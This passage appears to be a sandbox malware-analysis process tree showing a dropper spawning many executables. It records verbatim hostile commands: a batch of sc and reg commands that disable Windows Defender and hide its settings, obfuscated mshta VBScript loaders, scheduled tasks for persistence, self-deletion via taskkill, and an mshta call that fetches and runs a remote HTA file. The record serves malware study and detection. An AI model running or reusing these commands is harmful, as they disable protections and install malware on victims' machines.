    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:28532
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26712
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10580
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:28344
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8300
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27916
- C:\Users\Admin\Documents\gsK_Wp3_CKkOMJ_p3JA4_9TH.exe
  "C:\Users\Admin\Documents\gsK_Wp3_CKkOMJ_p3JA4_9TH.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- - C:\Users\Admin\AppData\Roaming\8530911.exe
    "C:\Users\Admin\AppData\Roaming\8530911.exe"
    3⤵
    PID:5752
- - C:\Users\Admin\AppData\Roaming\8767216.exe
    "C:\Users\Admin\AppData\Roaming\8767216.exe"
    3⤵
    PID:6032
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:6272
- - C:\Users\Admin\AppData\Roaming\4475077.exe
    "C:\Users\Admin\AppData\Roaming\4475077.exe"
    3⤵
    PID:4640
- - C:\Users\Admin\AppData\Roaming\4894413.exe
    "C:\Users\Admin\AppData\Roaming\4894413.exe"
    3⤵
    PID:5516
- - C:\Users\Admin\AppData\Roaming\7485296.exe
    "C:\Users\Admin\AppData\Roaming\7485296.exe"
    3⤵
    PID:5252
- C:\Users\Admin\Documents\CEXKAZNfaTWQfVMNOJjOc2lA.exe
  "C:\Users\Admin\Documents\CEXKAZNfaTWQfVMNOJjOc2lA.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:488
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:5560
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe"
      4⤵
      PID:4976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:8492
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffae9734f50,0x7ffae9734f60,0x7ffae9734f70
      4⤵
      PID:7132
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1540 /prefetch:2
      4⤵
      PID:9800
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1804 /prefetch:8
      4⤵
      PID:9820
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2084 /prefetch:8
      4⤵
      PID:9892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2620 /prefetch:1
      4⤵
      PID:9932
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2652 /prefetch:1
      4⤵
      PID:5152
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
      4⤵
      PID:7772
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:1
      4⤵
      PID:9336
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3700 /prefetch:1
      4⤵
      PID:7468
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3824 /prefetch:1
      4⤵
      PID:9876
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:8
      4⤵
      PID:5196
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5332 /prefetch:8
      4⤵
      PID:11944
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4992 /prefetch:8
      4⤵
      PID:11980
  - - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
      4⤵
      PID:11936
    - - C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x24c,0x250,0x254,0x228,0x258,0x7ff7415da890,0x7ff7415da8a0,0x7ff7415da8b0
        5⤵
        
        PID:9676
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4952 /prefetch:8
      4⤵
      PID:11576
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,9517354800868168912,5543680324554838046,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2304 /prefetch:2
      4⤵
      PID:10468
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C taskkill /F /PID 488 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\CEXKAZNfaTWQfVMNOJjOc2lA.exe"
    3⤵
    PID:8756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /PID 488
      4⤵
      Kills process with taskkill
      PID:8824
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C taskkill /F /PID 488 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\CEXKAZNfaTWQfVMNOJjOc2lA.exe"
    3⤵
    PID:8668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /PID 488
      4⤵
      Kills process with taskkill
      PID:5712
- C:\Users\Admin\Documents\p93W2DDPm7DS5SeLqDlO0Rfa.exe
  "C:\Users\Admin\Documents\p93W2DDPm7DS5SeLqDlO0Rfa.exe"
  2⤵
  - Executes dropped EXE
  PID:3900
- - C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe
    "C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"
    3⤵
    PID:5272
  - - C:\Users\Admin\Documents\XOdsYBBHm1eZoZKO4xgtwrPK.exe
      "C:\Users\Admin\Documents\XOdsYBBHm1eZoZKO4xgtwrPK.exe"
      4⤵
      PID:8484
    - - C:\Users\Admin\AppData\Roaming\2987868.exe
        
        "C:\Users\Admin\AppData\Roaming\2987868.exe"
        5⤵
        
        PID:6944
    - - C:\Users\Admin\AppData\Roaming\7741970.exe
        
        "C:\Users\Admin\AppData\Roaming\7741970.exe"
        5⤵
        
        PID:7868
    - - C:\Users\Admin\AppData\Roaming\1147459.exe
        
        "C:\Users\Admin\AppData\Roaming\1147459.exe"
        5⤵
        
        PID:6512
    - - C:\Users\Admin\AppData\Roaming\3546357.exe
        
        "C:\Users\Admin\AppData\Roaming\3546357.exe"
        5⤵
        
        PID:7812
    - - C:\Users\Admin\AppData\Roaming\2822300.exe
        
        "C:\Users\Admin\AppData\Roaming\2822300.exe"
        5⤵
        
        PID:8700
  - - C:\Users\Admin\Documents\wuS4LSa5ewXnPpvnihs44pq7.exe
      "C:\Users\Admin\Documents\wuS4LSa5ewXnPpvnihs44pq7.exe"
      4⤵
      PID:8576
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 384
        5⤵
        Program crash
        
        PID:984
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 428
        5⤵
        Program crash
        
        PID:7900
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 616
        5⤵
        Program crash
        
        PID:5632
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 688
        5⤵
        Program crash
        
        PID:2268
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 752
        5⤵
        Program crash
        
        PID:9336
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 716
        5⤵
        Program crash
        
        PID:9772
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 696
        5⤵
        Program crash
        
        PID:9868
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8576 -s 936
        5⤵
        
        PID:12804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4756
- C:\Users\Admin\Documents\Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe
  "C:\Users\Admin\Documents\Jo7xa6ZWfG_yjuQ0lKOxh7SS.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3664
- C:\Users\Admin\Documents\XNhnlXpHxIu015AbY9niQ9Zp.exe
  "C:\Users\Admin\Documents\XNhnlXpHxIu015AbY9niQ9Zp.exe"
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Users\Admin\Documents\9Ty4mWx4KdsibdIgUB5O3bER.exe
  "C:\Users\Admin\Documents\9Ty4mWx4KdsibdIgUB5O3bER.exe"
  2⤵
  - Executes dropped EXE
  PID:2416
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 384
    3⤵
    - Program crash
    PID:5948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 620
    3⤵
    - Program crash
    PID:4980
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 664
    3⤵
    - Program crash
    PID:6204
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 796
    3⤵
    - Program crash
    PID:7512
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 832
    3⤵
    - Program crash
    PID:1344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 780
    3⤵
    PID:13900
- C:\Users\Admin\Documents\Xy62JiiDBtpS777hnafDA0H3.exe
  "C:\Users\Admin\Documents\Xy62JiiDBtpS777hnafDA0H3.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1084
- C:\Users\Admin\Documents\0bWlk5VbXfdlAH_pqcBYu_9W.exe
  "C:\Users\Admin\Documents\0bWlk5VbXfdlAH_pqcBYu_9W.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3512
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:1204
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    - Executes dropped EXE
    PID:4428
- - C:\Program Files (x86)\Company\NewProduct\inst001.exe
    "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
    3⤵
    - Executes dropped EXE
    PID:4800
- C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe
  "C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe"
  2⤵
  - Executes dropped EXE
  PID:1828
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
    3⤵
    PID:4624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\qY9xz1N5hlJqzbLut_bB53jL.exe" ) do taskkill -F /Im "%~nXN"
      4⤵
      PID:6648
    - - C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE
        
        KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG
        5⤵
        
        PID:6672
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
        6⤵
        
        PID:7296
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"
        7⤵
        
        PID:7144
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\p_ZPP.J p
        6⤵
        
        PID:8908
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F /Im "qY9xz1N5hlJqzbLut_bB53jL.exe"
        5⤵
        Kills process with taskkill
        
        PID:7188
- C:\Users\Admin\Documents\Dc_anJp6Ri7RI4L3JUkstWp1.exe
  "C:\Users\Admin\Documents\Dc_anJp6Ri7RI4L3JUkstWp1.exe"
  2⤵
  - Executes dropped EXE
  PID:2808
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 660
    3⤵
    - Drops file in Windows directory
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5452
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 712
    3⤵
    - Program crash
    PID:5924
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 644
    3⤵
    - Program crash
    PID:4972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 696
    3⤵
    - Program crash
    PID:2576
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 884
    3⤵
    - Program crash
    PID:6940
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 1132
    3⤵
    - Program crash
    PID:4896
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 1152
    3⤵
    - Program crash
    PID:6380
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 1144
    3⤵
    - Program crash
    PID:6664
- C:\Users\Admin\Documents\dLZfFGsOVmKpItau0y8vxwBq.exe
  "C:\Users\Admin\Documents\dLZfFGsOVmKpItau0y8vxwBq.exe"
  2⤵
  - Executes dropped EXE
  PID:2172
- - C:\Users\Admin\AppData\Local\Temp\8R4W7WWH.com
    "C:\Users\Admin\AppData\Local\Temp\8R4W7WWH.com"
    3⤵
    PID:5156
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\98DC.tmp\98DD.tmp\98DE.bat C:\Users\Admin\AppData\Local\Temp\8R4W7WWH.com"
      4⤵
      PID:5460
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        
        PID:5648
    - - C:\Windows\system32\sc.exe
        
        sc config SecurityHealthService start=disabled
        5⤵
        
        PID:4684
    - - C:\Windows\system32\sc.exe
        
        sc config Sense start=disabled
        5⤵
        
        PID:6068
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisDrv start=disabled
        5⤵
        
        PID:4228
    - - C:\Windows\system32\sc.exe
        
        sc config WdNisSvc start=disabled
        5⤵
        
        PID:2356
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:4204
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6164
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6392
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6628
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:7044
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6204
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6300
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6892
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:7080
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6276
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:7112
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:6012
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:3900
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:6332
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:7296
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:7676
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI" | find /i "SecHealthUI"
        5⤵
        
        PID:7824
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI"
        6⤵
        
        PID:7176
      - C:\Windows\system32\find.exe
        
        find /i "SecHealthUI"
        6⤵
        
        PID:7156
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:6444
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\S-1-5-21-1594587808-2047097707-2163810515-1000\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f
        5⤵
        
        PID:7816
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        5⤵
        
        PID:7912
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility
        6⤵
        
        PID:7952
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" /t REG_SZ /d "hide:windowsdefender;" /f
        5⤵
        
        PID:7296
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:7632
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:6344
- - C:\Users\Admin\AppData\Local\Temp\OOvy9wl2.com
    "C:\Users\Admin\AppData\Local\Temp\OOvy9wl2.com"
    3⤵
    PID:6292
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://ia601408.us.archive.org/23/items/fix.hta-ert/FIX.hta_ert.txt
      4⤵
      PID:7408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
